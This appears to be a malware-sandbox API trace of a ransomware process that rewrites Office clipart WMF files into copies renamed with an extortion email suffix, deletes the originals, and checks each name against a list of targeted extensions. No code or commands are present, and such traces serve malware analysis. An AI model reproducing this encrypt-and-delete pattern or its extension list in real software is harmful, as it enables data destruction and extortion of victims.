	[0203.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0203.825] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4908) returned 1
	[0203.825] CloseHandle (hObject=0x580) returned 1
	[0203.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220
	[0203.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0203.825] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.825] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0203.826] GetLastError () returned 0x0
	[0203.826] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x132c, lpOverlapped=0x0) returned 1
	[0203.830] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1330, lpOverlapped=0x0) returned 1
	[0203.831] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.831] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.831] SetEndOfFile (hFile=0x494) returned 1
	[0203.831] CloseHandle (hObject=0x494) returned 1
	[0203.831] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.831] SetEndOfFile (hFile=0x580) returned 1
	[0203.834] CloseHandle (hObject=0x580) returned 1
	[0203.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1
	[0203.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.836] lstrlenW (lpString=".doc") returned 4
	[0203.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.836] lstrlenW (lpString=".docx") returned 5
	[0203.836] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.836] lstrlenW (lpString=".pdf") returned 4
	[0203.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.836] lstrlenW (lpString=".xls") returned 4
	[0203.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.836] lstrlenW (lpString=".xlsx") returned 5
	[0203.836] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.836] lstrlenW (lpString=".ppt") returned 4
	[0203.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.836] lstrlenW (lpString=".zip") returned 4
	[0203.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.836] lstrlenW (lpString=".rar") returned 4
	[0203.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.836] lstrlenW (lpString=".bz2") returned 4
	[0203.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.836] lstrlenW (lpString=".7z") returned 3
	[0203.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.836] lstrlenW (lpString=".dbf") returned 4
	[0203.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.836] lstrlenW (lpString=".1cd") returned 4
	[0203.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.837] lstrlenW (lpString=".jpg") returned 4
	[0203.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.837] lstrlenW (lpString=".doc") returned 4
	[0203.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString=".docx") returned 5
	[0203.837] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.837] lstrlenW (lpString=".pdf") returned 4
	[0203.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString=".xls") returned 4
	[0203.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.837] lstrlenW (lpString=".xlsx") returned 5
	[0203.837] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.837] lstrlenW (lpString=".ppt") returned 4
	[0203.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.837] lstrlenW (lpString=".zip") returned 4
	[0203.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.837] lstrlenW (lpString=".rar") returned 4
	[0203.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString=".bz2") returned 4
	[0203.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString=".7z") returned 3
	[0203.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.837] lstrlenW (lpString=".dbf") returned 4
	[0203.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.837] lstrlenW (lpString=".1cd") returned 4
	[0203.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0203.838] lstrlenW (lpString=".jpg") returned 4
	[0203.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.838] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.838] lstrlenW (lpString="J0152716.WMF") returned 12
	[0203.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0203.843] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4580) returned 1
	[0203.843] CloseHandle (hObject=0x580) returned 1
	[0203.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220
	[0203.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0203.843] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.843] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0203.844] GetLastError () returned 0x0
	[0203.844] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x11e4, lpOverlapped=0x0) returned 1
	[0203.849] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x11f0, lpOverlapped=0x0) returned 1
	[0203.850] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.850] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.850] SetEndOfFile (hFile=0x494) returned 1
	[0203.850] CloseHandle (hObject=0x494) returned 1
	[0203.850] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.850] SetEndOfFile (hFile=0x580) returned 1
	[0203.853] CloseHandle (hObject=0x580) returned 1
	[0203.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1
	[0203.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.857] lstrlenW (lpString=".doc") returned 4
	[0203.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.857] lstrlenW (lpString=".docx") returned 5
	[0203.857] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0203.857] lstrlenW (lpString=".pdf") returned 4
	[0203.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.857] lstrlenW (lpString=".xls") returned 4
	[0203.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.857] lstrlenW (lpString=".xlsx") returned 5
	[0203.857] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0203.857] lstrlenW (lpString=".ppt") returned 4
	[0203.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.857] lstrlenW (lpString=".zip") returned 4
	[0203.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.857] lstrlenW (lpString=".rar") returned 4
	[0203.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.857] lstrlenW (lpString=".bz2") returned 4
	[0203.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.857] lstrlenW (lpString=".7z") returned 3
	[0203.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.857] lstrlenW (lpString=".dbf") returned 4
	[0203.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.857] lstrlenW (lpString=".1cd") returned 4
	[0203.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.858] lstrlenW (lpString=".jpg") returned 4
	[0203.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.858] lstrlenW (lpString=".doc") returned 4
	[0203.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.858] lstrlenW (lpString=".docx") returned 5
	[0203.858] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0203.858] lstrlenW (lpString=".pdf") returned 4
	[0203.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.858] lstrlenW (lpString=".xls") returned 4
	[0203.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.858] lstrlenW (lpString=".xlsx") returned 5
	[0203.858] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0203.858] lstrlenW (lpString=".ppt") returned 4
	[0203.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.858] lstrlenW (lpString=".zip") returned 4
	[0203.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.859] lstrlenW (lpString=".rar") returned 4
	[0203.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.859] lstrlenW (lpString=".bz2") returned 4
	[0203.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.859] lstrlenW (lpString=".7z") returned 3
	[0203.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.859] lstrlenW (lpString=".dbf") returned 4
	[0203.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.859] lstrlenW (lpString=".1cd") returned 4
	[0203.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0203.859] lstrlenW (lpString=".jpg") returned 4
	[0203.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.859] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.859] lstrlenW (lpString="J0152722.WMF") returned 12
	[0203.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0203.916] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7020) returned 1
	[0203.917] CloseHandle (hObject=0x344) returned 1
	[0203.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220
	[0203.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.667] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.667] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.687] GetLastError () returned 0x0
	[0204.687] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1b6c, lpOverlapped=0x0) returned 1
	[0204.691] WriteFile (in: hFile=0x338, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1b70, lpOverlapped=0x0) returned 1
	[0204.692] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.692] WriteFile (in: hFile=0x338, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.693] SetEndOfFile (hFile=0x338) returned 1
	[0204.693] CloseHandle (hObject=0x338) returned 1
	[0204.693] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.693] SetEndOfFile (hFile=0x580) returned 1
	[0204.696] CloseHandle (hObject=0x580) returned 1
	[0204.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1
	[0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.698] lstrlenW (lpString=".doc") returned 4
	[0204.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString=".docx") returned 5
	[0204.698] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0204.698] lstrlenW (lpString=".pdf") returned 4
	[0204.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString=".xls") returned 4
	[0204.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.698] lstrlenW (lpString=".xlsx") returned 5
	[0204.698] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0204.698] lstrlenW (lpString=".ppt") returned 4
	[0204.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.698] lstrlenW (lpString=".zip") returned 4
	[0204.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.698] lstrlenW (lpString=".rar") returned 4
	[0204.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString=".bz2") returned 4
	[0204.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString=".7z") returned 3
	[0204.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.698] lstrlenW (lpString=".dbf") returned 4
	[0204.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.698] lstrlenW (lpString=".1cd") returned 4
	[0204.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.698] lstrlenW (lpString=".jpg") returned 4
	[0204.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.699] lstrlenW (lpString=".doc") returned 4
	[0204.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.699] lstrlenW (lpString=".docx") returned 5
	[0204.699] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0204.699] lstrlenW (lpString=".pdf") returned 4
	[0204.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.699] lstrlenW (lpString=".xls") returned 4
	[0204.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.699] lstrlenW (lpString=".xlsx") returned 5
	[0204.699] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0204.699] lstrlenW (lpString=".ppt") returned 4
	[0204.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.699] lstrlenW (lpString=".zip") returned 4
	[0204.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.699] lstrlenW (lpString=".rar") returned 4
	[0204.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.699] lstrlenW (lpString=".bz2") returned 4
	[0204.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.699] lstrlenW (lpString=".7z") returned 3
	[0204.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.699] lstrlenW (lpString=".dbf") returned 4
	[0204.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.699] lstrlenW (lpString=".1cd") returned 4
	[0204.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0204.699] lstrlenW (lpString=".jpg") returned 4
	[0204.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.700] lstrlenW (lpString=".id-") returned 4
	[0204.700] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673230 | out: hHeap=0x610000) returned 1
	[0204.700] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbf98 | out: hHeap=0x610000) returned 1
	[0204.700] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e30970 | out: hHeap=0x610000) returned 1
